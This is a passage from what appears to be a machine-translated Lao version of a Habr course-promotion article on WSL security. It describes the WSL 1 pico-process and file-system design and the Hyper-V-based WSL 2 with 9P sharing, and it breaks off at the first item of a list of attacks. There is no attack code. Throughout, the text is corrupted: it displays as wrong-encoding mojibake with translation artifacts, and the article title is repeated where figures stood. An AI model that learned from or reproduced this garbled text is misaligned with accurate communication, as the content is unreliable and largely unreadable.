เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡ WSL. เบžเบฒเบเบ—เบต 1

เบชเบฐเบšเบฒเบเบ”เบต, habr! OTUS เป€เบ›เบตเบ”เบ•เบปเบงเบซเบผเบฑเบเบชเบนเบ”เปƒเปเปˆเปƒเบ™เป€เบ”เบทเบญเบ™เบ•เบธเบฅเบฒ "เบ„เบงเบฒเบกเบ›เบญเบ”เป„เบž Linux". เปƒเบ™เบ„เบงเบฒเบกเบ„เบฒเบ”เบซเบงเบฑเบ‡เบ‚เบญเบ‡เบเบฒเบ™เป€เบฅเบตเปˆเบกเบ•เบปเป‰เบ™เบ‚เบญเบ‡เบซเบผเบฑเบเบชเบนเบ”, เบžเบงเบเป€เบฎเบปเบฒเปเบšเปˆเบ‡เบ›เบฑเบ™เบšเบปเบ”เบ„เบงเบฒเบกเบ—เบตเปˆเบ‚เบฝเบ™เป‚เบ”เบเบ„เบนเบชเบญเบ™เบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒ, Alexander Kolesnikov เบเบฑเบšเป€เบˆเบปเป‰เบฒ.

เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡ WSL. เบžเบฒเบเบ—เบต 1

เปƒเบ™เบ›เบต 2016, Microsoft เป„เบ”เป‰เบ™เบณเบชเบฐเป€เปœเบตเป€เบ—เบฑเบเป‚เบ™เป‚เบฅเบเบต WSL เปƒเปเปˆเปƒเบซเป‰เบเบฑเบšเบŠเบธเบกเบŠเบปเบ™เป„เบญเบ—เบต (Wเบžเบฒเบเปƒเบ™ Subsystem เบชเปเบฒเบฅเบฑเบš Linux), เป€เบŠเบดเปˆเบ‡เปƒเบ™เบญเบฐเบ™เบฒเบ„เบปเบ”เป€เบฎเบฑเบ”เปƒเบซเป‰เบกเบฑเบ™เบชเบฒเบกเบฒเบ”เบฅเบงเบกเป€เบญเบปเบฒเบ„เบนเปˆเปเบ‚เปˆเบ‡เบ—เบตเปˆเบšเปเปˆเบชเบฒเบกเบฒเบ”เปเบเป‰เป„เบ‚เป„เบ”เป‰เปƒเบ™เป€เบกเบทเปˆเบญเบเปˆเบญเบ™เบ—เบตเปˆเบเปเบฒเบฅเบฑเบ‡เบ•เปเปˆเบชเบนเป‰เป€เบžเบทเปˆเบญเบ„เบงเบฒเบกเบ™เบดเบเบปเบกเบฅเบฐเบซเบงเปˆเบฒเบ‡เบœเบนเป‰เปƒเบŠเป‰ OS เบ—เบปเปˆเบงเป„เบ›เปเบฅเบฐเบ‚เบฑเป‰เบ™เบชเบนเบ‡: Windows เปเบฅเบฐ Linux. เป€เบ—เบเป‚เบ™เป‚เบฅเบเบตเบ™เบตเป‰เป€เบฎเบฑเบ”เปƒเบซเป‰เบกเบฑเบ™เป€เบ›เบฑเบ™เป„เบ›เป„เบ”เป‰เบ—เบตเปˆเบˆเบฐเปƒเบŠเป‰เป€เบ„เบทเปˆเบญเบ‡เบกเบท Linux OS เปƒเบ™เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบก Windows เป‚เบ”เบเบšเปเปˆเบˆเปเบฒเป€เบ›เบฑเบ™เบ•เป‰เบญเบ‡เบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™ Linux, เบ•เบปเบงเบขเปˆเบฒเบ‡เป€เบŠเบฑเปˆเบ™, เบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰ Multi-boot. เปƒเบ™ Habr เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบŠเบญเบเบซเบฒเบšเบปเบ”เบ„เบงเบฒเบกเบˆเปเบฒเบ™เบงเบ™เบซเบฅเบฒเบเบ—เบตเปˆเบญเบฐเบ—เบดเบšเบฒเบเป€เบ–เบดเบ‡เบœเบปเบ™เบ›เบฐเป‚เบซเบเบ”เบ‚เบญเบ‡เบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰ WSL. เบขเปˆเบฒเบ‡เปƒเบ”เบเปเบ•เบฒเบก, เปเบ•เปˆเบซเบ™เป‰เบฒเป€เบชเบเบ”เบฒเบ, เปƒเบ™เป€เบงเบฅเบฒเบ‚เบญเบ‡เบเบฒเบ™เบชเป‰เบฒเบ‡เบšเบปเบ”เบ„เบงเบฒเบกเบ™เบตเป‰, เบšเปเปˆเบกเบตเบเบฒเบ™เบชเบถเบเบชเบฒเบเปˆเบฝเบงเบเบฑเบšเบ„เบงเบฒเบกเบ›เบญเบ”เป„เบžเบ‚เบญเบ‡ symbiosis เบ‚เบญเบ‡เบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เป„เบ”เป‰เบžเบปเบšเป€เบซเบฑเบ™เบขเบนเปˆเปƒเบ™เบŠเบฑเบšเบžเบฐเบเบฒเบเบญเบ™เบ™เบตเป‰. เป‚เบžเบชเบ™เบตเป‰เบˆเบฐเป€เบ›เบฑเบ™เบ„เบงเบฒเบกเบžเบฐเบเบฒเบเบฒเบกเปเบเป‰เป„เบ‚เบญเบฑเบ™เบ™เบตเป‰. เบšเบปเบ”เบ„เบงเบฒเบกเบˆเบฐเป€เบงเบปเป‰เบฒเบเปˆเบฝเบงเบเบฑเบšเบฅเบฑเบเบชเบฐเบ™เบฐเบ‚เบญเบ‡เบชเบฐเบ–เบฒเบ›เบฑเบ”เบ•เบฐเบเบฐเบเปเบฒ WSL 1 เปเบฅเบฐ 2 เปเบฅเบฐเบเบงเบ”เป€เบšเบดเปˆเบ‡เบ•เบปเบงเบขเปˆเบฒเบ‡เบˆเปเบฒเบ™เบงเบ™เบซเบ™เบถเปˆเบ‡เบ‚เบญเบ‡เบเบฒเบ™เป‚เบˆเบกเบ•เบตเปƒเบ™เบฅเบฐเบšเบปเบšเป‚เบ”เบเปƒเบŠเป‰เป€เบ•เบฑเบเป‚เบ™เป‚เบฅเบขเบตเป€เบซเบผเบปเปˆเบฒเบ™เบตเป‰. เบšเบปเบ”โ€‹เบ„เบงเบฒเบกโ€‹เป„เบ”เป‰โ€‹เบ–เบทเบโ€‹เปเบšเปˆเบ‡โ€‹เบญเบญเบโ€‹เป€เบ›เบฑเบ™ 2 เบžเบฒเบโ€‹เบชเปˆเบงเบ™โ€‹. เบ—เปเบฒเบญเบดเบ”เบˆเบฐเบชเบฐเบซเบ™เบญเบ‡เบงเบดเบ—เบตเบเบฒเบ™เป‚เบˆเบกเบ•เบตเบ—เบฒเบ‡เบ—เบดเบ”เบชเบฐเบ”เบตเบ•เบปเป‰เบ™เบ•เปเบˆเบฒเบ Linux เปเบฅเบฐ Windows. เบšเบปเบ”โ€‹เบ„เบงเบฒเบกโ€‹เบ—เบตโ€‹เบชเบญเบ‡โ€‹เบˆเบฐโ€‹เบเปˆเบฝเบงโ€‹เบ‚เป‰เบญเบ‡โ€‹เบเบฑเบšโ€‹เบเบฒเบ™โ€‹เบชเป‰เบฒเบ‡โ€‹เบ•เบฑเป‰เบ‡โ€‹เบชเบฐโ€‹เบžเบฒเบšโ€‹เปเบงเบ”โ€‹เบฅเป‰เบญเบกโ€‹เบเบฒเบ™โ€‹เบ—เบปเบ”โ€‹เบชเบญเบšโ€‹เปเบฅเบฐโ€‹เบเบฒเบ™โ€‹เบœเบฐโ€‹เบฅเบดเบ”โ€‹เบเบฒเบ™โ€‹เป‚เบˆเบกโ€‹เบ•เบตโ€‹.

WSL 1: เบฅเบฑเบเบชเบฐเบ™เบฐเบชเบฐเบ–เบฒเบ›เบฑเบ”เบ•เบฐเบเบฐเบเปเบฒ

เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™ dive เบ—เบตเปˆเบ–เบทเบเบ•เป‰เบญเบ‡เบ—เบตเปˆเบชเบธเบ”เปƒเบ™เบšเบฑเบ™เบซเบฒเบ„เบงเบฒเบกเบ›เบญเบ”เป„เบž WSL, เบกเบฑเบ™เบˆเปเบฒเป€เบ›เบฑเบ™เบ•เป‰เบญเบ‡เป„เบ”เป‰เบเปเบฒเบ™เบปเบ” nuances เบ•เบปเป‰เบ™เบ•เปเบ—เบตเปˆเบเปˆเบฝเบงเบ‚เป‰เบญเบ‡เบเบฑเบšเบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบ‚เบญเบ‡เบฅเบฐเบšเบปเบšเบเปˆเบญเบ. เบซเบ™เบถเปˆเบ‡เปƒเบ™เบซเบ™เป‰เบฒเบงเบฝเบเบ•เบปเป‰เบ™เบ•เปเบ—เบตเปˆเปเบเป‰เป„เบ‚เป‚เบ”เบ WSL เปเบกเปˆเบ™เบ„เบงเบฒเบกเบชเบฒเบกเบฒเบ”เปƒเบ™เบเบฒเบ™เป€เบฎเบฑเบ”เบงเบฝเบเบœเปˆเบฒเบ™ Linux terminal เปƒเบ™เป‚เบฎเบ”เบ—เบตเปˆเปƒเบŠเป‰ Windows OS. เบ™เบญเบเบˆเบฒเบเบ™เบตเป‰, เบ„เบงเบฒเบกเป€เบ‚เบปเป‰เบฒเบเบฑเบ™เป„เบ”เป‰เบ—เบตเปˆเบชเบฐเป€เบซเบ™เบตเปเบกเปˆเบ™เบžเบทเป‰เบ™เป€เบกเบทเบญเบ‡เบ—เบตเปˆ Linux executables (ELFs) เบชเบฒเบกเบฒเบ”เบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เป‚เบ”เบเบเบปเบ‡เปƒเบ™เบฅเบฐเบšเบปเบš Windows. เป€เบžเบทเปˆเบญเบšเบฑเบ™เบฅเบธเป€เบ›เบปเป‰เบฒเบซเบกเบฒเบเป€เบซเบผเบปเปˆเบฒเบ™เบตเป‰, เบฅเบฐเบšเบปเบšเบเปˆเบญเบเบžเบดเป€เบชเบ”เป„เบ”เป‰เบ–เบทเบเบชเป‰เบฒเบ‡เบ‚เบทเป‰เบ™เปƒเบ™ Windows 10 เบ—เบตเปˆเบŠเปˆเบงเบเปƒเบซเป‰เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เป€เบญเบตเป‰เบ™เปƒเบŠเป‰ Linux เป‚เบ”เบเปƒเบŠเป‰เบŠเบธเบ”เบ‚เบญเบ‡เบเบฒเบ™เป‚เบ—เบฅเบฐเบšเบปเบšเบชเบฐเป€เบžเบฒเบฐ - เบ”เบฑเปˆเบ‡เบ™เบฑเป‰เบ™, เป„เบ”เป‰เบกเบตเบเบฒเบ™เบžเบฐเบเบฒเบเบฒเบกเบชเป‰เบฒเบ‡เปเบœเบ™เบ—เบตเปˆเบŠเบธเบ”เบ‚เบญเบ‡ Linux syscalls เปƒเบ™ Windows. เบ™เบตเป‰เป„เบ”เป‰เบ–เบทเบเบ›เบฐเบ•เบดเบšเบฑเบ”เบ—เบฒเบ‡เบ”เป‰เบฒเบ™เบฎเปˆเบฒเบ‡เบเบฒเบเป‚เบ”เบเบเบฒเบ™เป€เบžเบตเปˆเบกเป„เบ”เป€เบงเบตเปƒเบซเบกเปˆเปเบฅเบฐเบฎเบนเบšเปเบšเบšเบ‚เบฐเบšเบงเบ™เบเบฒเบ™เปƒเบซเบกเปˆ. เบชเบฐเบ–เบฒเบ›เบฑเบ”เบ•เบฐเบเบฐ เบเบณ เบ•เบฒเบกเบชเบฒเบเบ•เบฒเป€เบšเบดเปˆเบ‡เบ„เบทเบ”เบฑเปˆเบ‡เบ™เบตเป‰:

เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡ WSL. เบžเบฒเบเบ—เบต 1

เปƒเบ™เบ„เบงเบฒเบกเป€เบ›เบฑเบ™เบˆเบดเบ‡, เบเบฒเบ™เป‚เบ•เป‰เบ•เบญเบšเบเบฑเบšเบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™ Linux เป„เบ”เป‰เบ–เบทเบเบˆเบฑเบ”เบ•เบฑเป‰เบ‡เป‚เบ”เบเบœเปˆเบฒเบ™เป‚เบกเบ”เบนเบ™ kernel เบซเบผเบฒเบเปเบฅเบฐเบ‚เบฐเบšเบงเบ™เบเบฒเบ™เบ›เบฐเป€เบžเบ”เบžเบดเป€เบชเบ” - pico . เบˆเบฒเบเปเบœเบ™เบงเบฒเบ”เบ‚เป‰เบฒเบ‡เป€เบ—เบดเบ‡, เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เป€เบซเบฑเบ™เป„เบ”เป‰เบงเปˆเบฒเบ‚เบฐเบšเบงเบ™เบเบฒเบ™เบ—เบตเปˆเปเบฅเปˆเบ™เบขเบนเปˆเปƒเบ™ Linux instance เป€เบ—เบดเบ‡เป‚เบฎเบ”เบˆเบฐเบ•เป‰เบญเบ‡เป€เบ›เบฑเบ™ native เปเบฅเบฐเบ•เป‰เบญเบ‡เปƒเบŠเป‰เบŠเบฑเบšเบžเบฐเบเบฒเบเบญเบ™เบ”เบฝเบงเบเบฑเบ™เบเบฑเบšเบ„เปเบฒเบฎเป‰เบญเบ‡เบชเบฐเบซเบกเบฑเบ Windows เบ›เบปเบเบเบฐเบ•เบด. เปเบ•เปˆเบงเบดเบ—เบตเบเบฒเบ™เบšเบฑเบ™เบฅเบธเป€เบ›เบปเป‰เบฒเบซเบกเบฒเบเบ™เบตเป‰? เปƒเบ™เป‚เบ„เบ‡เบเบฒเบ™ เบ‚เบปเบง เปเบ™เบงเบ„เบงเบฒเบกเบ„เบดเบ”เบ‚เบฐเบšเบงเบ™เบเบฒเบ™เบชเปเบฒเบฅเบฑเบš Windows เป„เบ”เป‰เบ–เบทเบเบžเบฑเบ”เบ—เบฐเบ™เบฒเบ—เบตเปˆเบชเบฐเบซเบ™เบญเบ‡เบญเบปเบ‡เบ›เบฐเบเบญเบšเบ—เบตเปˆเบˆเปเบฒเป€เบ›เบฑเบ™เบ—เบฑเบ‡เบซเบกเบปเบ”เบ‚เบญเบ‡เบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™ (เบ‚เบถเป‰เบ™เบเบฑเบšเบชเบฐเบšเบฑเบšเบ‚เบญเบ‡เบกเบฑเบ™) เป€เบžเบทเปˆเบญเบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เบ„เปเบฒเบฎเป‰เบญเบ‡เบชเบฐเบซเบกเบฑเบเบ‚เบญเบ‡ OS เบญเบทเปˆเบ™.

เปƒเบซเป‰เบชเบฑเบ‡เป€เบเบ”เบงเปˆเบฒเบชเบดเปˆเบ‡เบ—เบตเปˆเบšเปเปˆเบกเบตเบ•เบปเบงเบ•เบปเบ™เบ—เบตเปˆเบชเบฐเป€เบซเบ™เบตเป€เบฎเบฑเบ”เปƒเบซเป‰เบกเบฑเบ™เป€เบ›เบฑเบ™เป„เบ›เบšเปเปˆเป„เบ”เป‰เบ—เบตเปˆเบˆเบฐเบชเบธเบกเปƒเบชเปˆเบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™ (เป‚เบ”เบเบชเบฐเป€เบžเบฒเบฐ, Windows), เปƒเบ™เบ‚เบฐเบšเบงเบ™เบเบฒเบ™เบ‚เบญเบ‡ OS เบญเบทเปˆเบ™เบ„เบฒเบ”เบงเปˆเบฒเบˆเบฐเป€เบ›เบตเบ”เบ•เบปเบง, เปเบฅเบฐเปเบ™เบฐเบ™เปเบฒเบงเบดเบ—เบตเบเบฒเบ™เบ—เบปเปˆเบงเป„เบ›.

เบ”เบฑเปˆเบ‡เบ™เบฑเป‰เบ™, เบ„เปเบฒเบฎเป‰เบญเบ‡เบชเบฐเบซเบกเบฑเบเปƒเบ”เป†เบžเบฒเบเปƒเบ™เบ‚เบฐเบšเบงเบ™เบเบฒเบ™ pico เบชเบฒเบกเบฒเบ”เบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เป„เบ”เป‰เป‚เบ”เบเบšเปเปˆเบ„เปเบฒเบ™เบถเบ‡เป€เบ–เบดเบ‡ Windows kernel:

  1. เบšเบฑเบ™เบซเบฒเบ„เบงเบฒเบกเป€เบ‚เบปเป‰เบฒเบเบฑเบ™เป„เบ”เป‰เปเบฅเบฐเบเบฒเบ™เปเบ›เบžเบฒเบชเบฒเบ‚เบญเบ‡เบเบฒเบ™เป‚เบ—เบฅเบฐเบšเบปเบšเบ•เป‰เบญเบ‡เป„เบ”เป‰เบฎเบฑเบšเบเบฒเบ™เปเบเป‰เป„เบ‚เป‚เบ”เบเบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบžเบดเป€เบชเบ”;
  2. เบเบฒเบ™เบ„เบงเบšเบ„เบธเบกเบเบฒเบ™เป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เบ•เป‰เบญเบ‡เป€เบฎเบฑเบ”เบœเปˆเบฒเบ™เบ•เบปเบงเบ•เบดเบ”เบ•เบฒเบกเบเบงเบ”เบเบฒเบ„เบงเบฒเบกเบ›เบญเบ”เป„เบž. เบˆเปเบžเบฒเบšเปเบกเปˆเบ™เบ•เบฑเป‰เบ‡เบขเบนเปˆเปƒเบ™เปเบเปˆเบ™เปเบฅเบฐเบ”เบฑเปˆเบ‡เบ™เบฑเป‰เบ™ Windows เบ•เป‰เบญเบ‡เบเบฒเบ™เบเบฒเบ™เบเบปเบเบฅเบฐเบ”เบฑเบšเปƒเบ™เบฎเบนเบšเปเบšเบšเบ‚เบญเบ‡เป„เบ”เป€เบงเบตเปƒเบซเบกเปˆเบ—เบตเปˆเบชเบฒเบกเบฒเบ”เป€เบฎเบฑเบ”เบซเบ™เป‰เบฒเบ—เบตเปˆเป€เบ›เบฑเบ™เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบชเปเบฒเบฅเบฑเบšเบ‚เบฐเบšเบงเบ™เบเบฒเบ™เบ”เบฑเปˆเบ‡เบเปˆเบฒเบง. เบ‚เบฐเบšเบงเบ™เบเบฒเบ™ pico เบ•เบปเป‰เบ™เปเบšเบšเปเบกเปˆเบ™เป„เบ”เป‰เบ–เบทเบเบ™เปเบฒเบชเบฐเป€เบซเบ™เบตเป‚เบ”เบ schematically เบ‚เป‰เบฒเบ‡เบฅเบธเปˆเบกเบ™เบตเป‰:

เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡ WSL. เบžเบฒเบเบ—เบต 1

เป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบฅเบฐเบšเบปเบšเป„เบŸเบฅเปŒ Linux เปƒเบŠเป‰เป„เบŸเบฅเปŒเบ—เบตเปˆเบฅเบฐเบญเบฝเบ”เบญเปˆเบญเบ™เบ•เบปเบงเบžเบดเบกเบ™เป‰เบญเบ เปเบฅเบฐเบŠเบทเปˆเป„เบ”เป€เบฅเบเบฐเบ—เปเบฅเบต, 2 เบ›เบฐเป€เบžเบ”เบ‚เบญเบ‡เบฅเบฐเบšเบปเบšเป„เบŸเบฅเปŒเป„เบ”เป‰เบ–เบทเบเป€เบžเบตเปˆเบกเปƒเบชเปˆ Windows เป€เบžเบทเปˆเบญเป€เบฎเบฑเบ”เบงเบฝเบเบเบฑเบš WSL - VolFS เปเบฅเบฐ DriveFS. VolFS เปเบกเปˆเบ™เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบฅเบฐเบšเบปเบšเป„เบŸเบฅเปŒ Linux, DriveFS เป€เบ›เบฑเบ™เบฅเบฐเบšเบปเบšเป„เบŸเบฅเปŒเบ—เบตเปˆเป€เบฎเบฑเบ”เบงเบฝเบเบ•เบฒเบกเบเบปเบ”เบฅเบฐเบšเบฝเบšเบ‚เบญเบ‡ Windows, เปเบ•เปˆเบกเบตเบ„เบงเบฒเบกเบชเบฒเบกเบฒเบ”เบ—เบตเปˆเบˆเบฐเป€เบฅเบทเบญเบเป€เบญเบปเบฒเบเปเบฅเบฐเบ™เบตเบ—เบตเปˆเบฅเบฐเบญเบฝเบ”เบญเปˆเบญเบ™.

WSL 2

WSL 1 เบกเบตเบ‚เปเป‰เบˆเปเบฒเบเบฑเบ”เบˆเปเบฒเบ™เบงเบ™เบซเบ™เบถเปˆเบ‡เบ—เบตเปˆเบšเปเปˆเบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เปƒเบŠเป‰เป€เบžเบทเปˆเบญเปเบเป‰เป„เบ‚เบฅเบฐเบ”เบฑเบšเบชเบนเบ‡เบชเบธเบ”เบ‚เบญเบ‡เบซเบ™เป‰เบฒเบงเบฝเบ: เบ•เบปเบงเบขเปˆเบฒเบ‡, เบกเบฑเบ™เบšเปเปˆเบกเบตเบ„เบงเบฒเบกเบชเบฒเบกเบฒเบ”เปƒเบ™เบเบฒเบ™เปเบฅเปˆเบ™เปเบญเบฑเบšเบžเบฅเบดเป€เบ„เบŠเบฑเบ™ Linux 32-bit, เปเบฅเบฐเบกเบฑเบ™เป€เบ›เบฑเบ™เป„เบ›เบšเปเปˆเป„เบ”เป‰เบ—เบตเปˆเบˆเบฐเปƒเบŠเป‰เป„เบ”เป€เบงเบตเบญเบธเบ›เบฐเบเบญเบ™. เบ”เบฑเปˆเบ‡เบ™เบฑเป‰เบ™, เปƒเบ™เบ›เบต 2020, WSL 2 เบ–เบทเบเบ›เปˆเบญเบเบญเบญเบเบกเบฒ, เป€เบŠเบดเปˆเบ‡เป„เบ”เป‰เบ›เปˆเบฝเบ™เบงเบดเบ—เบตเบเบฒเบ™เบชเป‰เบฒเบ‡เบฅเบฐเบšเบปเบšเบเปˆเบญเบ. WSL 2 เป€เบ›เบฑเบ™เป€เบ„เบทเปˆเบญเบ‡ virtual เบ—เบตเปˆเบ”เบตเบ—เบตเปˆเบชเบธเบ”เบ—เบตเปˆเบเบปเบ‡เบเบฑเบšเบ„เบธเบ™เบฅเบฑเบเบชเบฐเบ™เบฐเบเบฒเบ™เบšเปเบฅเบดเป‚เบžเบเบŠเบฑเบšเบžเบฐเบเบฒเบเบญเบ™เบ‚เบญเบ‡ WSL 1. เปƒเบ™เบ›เบฑเบ”เบˆเบธเบšเบฑเบ™, เบญเบตเบ‡เบ•เบฒเบกเบšเบฑเบ™เบซเบฒเบ—เบตเปˆเปเบเป‰เป„เบ‚เป‚เบ”เบเบœเบนเป‰เปƒเบŠเป‰ Windows OS, เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เป€เบฅเบทเบญเบเป€เบงเบตเบŠเบฑเบ™เบ—เบตเปˆเบ•เป‰เบญเบ‡เบเบฒเบ™เบ‚เบญเบ‡เบฅเบฐเบšเบปเบšเบเปˆเบญเบ Linux. เป€เบžเบทเปˆเบญเบซเบผเบธเบ”เบœเปˆเบญเบ™เบ„เบงเบฒเบกเบญเปˆเบญเบ™เปเบญเบ—เบตเปˆเป€เบ›เบฑเบ™เป„เบ›เป„เบ”เป‰, WSL 2 เป„เบ”เป‰เบ–เบทเบเบ›เบฐเบ•เบดเบšเบฑเบ”เป‚เบ”เบเบญเบตเบ‡เปƒเบชเปˆ Hyper-V เปƒเบ™ Windows 10. เปƒเบ™เบฎเบนเบšเปเบšเบšเบ™เบตเป‰, Windows เบกเบตเบ„เบงเบฒเบกเบชเบฒเบกเบฒเบ”เบ—เบตเปˆเบˆเบฐเบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™ kernel เบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™ Linux เปƒเบ™เบเบฒเบ™เป‚เบ”เบ”เบ”เปˆเบฝเบง. เบกเบฑเบ™เป€เบ›เบฑเบ™เบกเบนเบ™เบ„เปˆเบฒเบ—เบตเปˆเบˆเบฐเบˆเบทเปˆเบˆเปเบฒเบงเปˆเบฒเบชเบฐเบšเบฑเบš 1 เบ‚เบญเบ‡ WSL เป„เบ”เป‰เบ–เบทเบเบ™เปเบฒเบชเบฐเป€เบซเบ™เบตเป€เบ›เบฑเบ™เบฅเบฑเบเบชเบฐเบ™เบฐเป€เบšเบ•เป‰เบฒเบ—เบตเปˆเบ„เบฒเบ”เบงเปˆเบฒเบˆเบฐเบชเบฐเปเบ”เบ‡เปƒเบซเป‰เป€เบซเบฑเบ™เบ—เบดเบ”เบ—เบฒเบ‡เบ‚เบญเบ‡เบเบฒเบ™เบžเบฑเบ”เบ—เบฐเบ™เบฒ Windows เปƒเบ™เบ‚เบปเบ‡เป€เบ‚เบ”เบ™เบตเป‰, เบ”เบฑเปˆเบ‡เบ™เบฑเป‰เบ™เบเบฒเบ™เบซเบฑเบ™เบ›เปˆเบฝเบ™เป„เบ›เบชเบนเปˆ Hyper-V เปเบกเปˆเบ™เบซเบผเบตเบเบฅเปˆเบฝเบ‡เบšเปเปˆเป„เบ”เป‰. เบชเบฐเบ–เบฒเบ›เบฑเบ”เบ•เบฐเบเบฐเบเปเบฒเบชเบธเบ”เบ—เป‰เบฒเบเป€เบšเบดเปˆเบ‡เบ„เบทเบงเปˆเบฒ:

เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡ WSL. เบžเบฒเบเบ—เบต 1

เปƒเบ™เบชเบฐเบšเบฑเบšเบ™เบตเป‰, เปเบเปˆเบ™ Windows เปเบฅเบฐ Linux เบกเบตเบŠเบฑเบšเบžเบฐเบเบฒเบเบญเบ™เบ‚เบญเบ‡เบ•เบปเบ™เป€เบญเบ‡เปเบฅเบฐเบˆเบธเบ”เบ•เบฑเบ”เบเบฑเบ™เบกเบตเบขเบนเปˆเปƒเบ™เบฅเบฐเบšเบปเบšเป„เบŸเบฅเปŒเป€เบ—เบปเปˆเบฒเบ™เบฑเป‰เบ™, เปเบ•เปˆเบˆเบธเบ”เบ•เบฑเบ”เบเบฑเบ™เบ™เบตเป‰เบšเปเปˆเบชเบปเบกเบšเบนเบ™. เบ›เบฐเบ•เบดเบชเปเบฒเบžเบฑเบ™เบฅเบฐเบซเบงเปˆเบฒเบ‡เบฅเบฐเบšเบปเบšเป„เบŸเบฅเปŒเปเบกเปˆเบ™เบ”เปเบฒเป€เบ™เบตเบ™เป‚เบ”เบเบœเปˆเบฒเบ™เป€เบ„เบทเปˆเบญเบ‡เบซเบธเป‰เบกเบซเปเปˆ client-server เบ—เบตเปˆเป€เบฎเบฑเบ”เบงเบฝเบเป‚เบ”เบเปƒเบŠเป‰เป‚เบ›เป‚เบ•เบ„เบญเบ™ 9P.

เบกเบทเป‰เบ™เบตเป‰ Microsoft เปƒเบซเป‰เบ„เบงเบฒเบกเบชเบฒเบกเบฒเบ”เปƒเบ™เบเบฒเบ™เบชเบฐเบซเบผเบฑเบšเบฅเบฐเบซเบงเปˆเบฒเบ‡ WSL 1 เปเบฅเบฐ WSL 2. เบ—เบฑเบ‡เบชเบญเบ‡เบฎเบธเปˆเบ™เปเบกเปˆเบ™เบกเบตเปƒเบซเป‰เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰.

เบ„เบงเบฒเบกเบ›เบญเบ”เป„เบž WSL

เปƒเบ™เบ›เบฑเบ”เบˆเบธเบšเบฑเบ™, เบกเบตเบงเบฝเบเบ‡เบฒเบ™เบˆเปเบฒเบ™เบงเบ™เบซเบ™เบถเปˆเบ‡เบ—เบตเปˆเบญเบฐเบ—เบดเบšเบฒเบเบงเบดเบ—เบตเบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰เป€เบ„เบทเปˆเบญเบ‡เบกเบทเบ—เบตเปˆเบ–เบทเบเบ•เป‰เบญเบ‡เบ•เบฒเบกเบเบปเบ”เบซเบกเบฒเบเป€เบžเบทเปˆเบญเบ—เปเบฒเบฎเป‰เบฒเบเบเบฒเบ™เบชเบทเปˆเบชเบฒเบ™เบฅเบฐเบซเบงเปˆเบฒเบ‡เบฅเบฐเบšเบปเบšเบเปˆเบญเบ. เบžเบงเบเป€เบฎเบปเบฒเบˆเบฐเปƒเบŠเป‰เบชเบฐเบ„เบดเบšเบ‚เบญเบ‡เบžเบงเบเป€เบ‚เบปเบฒเป€เบžเบทเปˆเบญเบเบงเบ”เป€เบšเบดเปˆเบ‡เบ„เบงเบฒเบกเบเปˆเบฝเบงเบ‚เป‰เบญเบ‡เบ‚เบญเบ‡เบเบฒเบ™เป‚เบˆเบกเบ•เบตเปƒเบ™เป€เบงเบฅเบฒเบ‚เบฝเบ™. เบšเบฑเบ™เบŠเบตเบฅเบฒเบเบŠเบทเปˆเบ—เบปเปˆเบงเป„เบ›เบ‚เบญเบ‡เบเบฒเบ™เป‚เบˆเบกเบ•เบต เปเบฅเบฐเบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™:

1. เบเบฒเบ™โ€‹เบ›เบฐโ€‹เบ•เบดโ€‹เบšเบฑเบ”โ€‹เบฅเบฐโ€‹เบšเบปเบšโ€‹เป€เบญโ€‹เบเบฐโ€‹เบชเบฒเบ™โ€‹: เบชเบดเบ”โ€‹เปƒเบ™โ€‹เบเบฒเบ™โ€‹เป€เบ‚เบปเป‰เบฒโ€‹เป€เบ–เบดเบ‡โ€‹, เบกเบตโ€‹เบšเบฑเบ™โ€‹เบŠเบตโ€‹เบฅเบฒเบโ€‹เบเบฒเบ™โ€‹เบ—เบตเปˆโ€‹เปเบšเปˆเบ‡โ€‹เบ›เบฑเบ™ / เบเบปเบ™โ€‹เป„เบโ€‹เบเบฒเบ™โ€‹เปเบฅเบโ€‹เบ›เปˆเบฝเบ™โ€‹เบ‚เปเป‰โ€‹เบกเบนเบ™โ€‹.

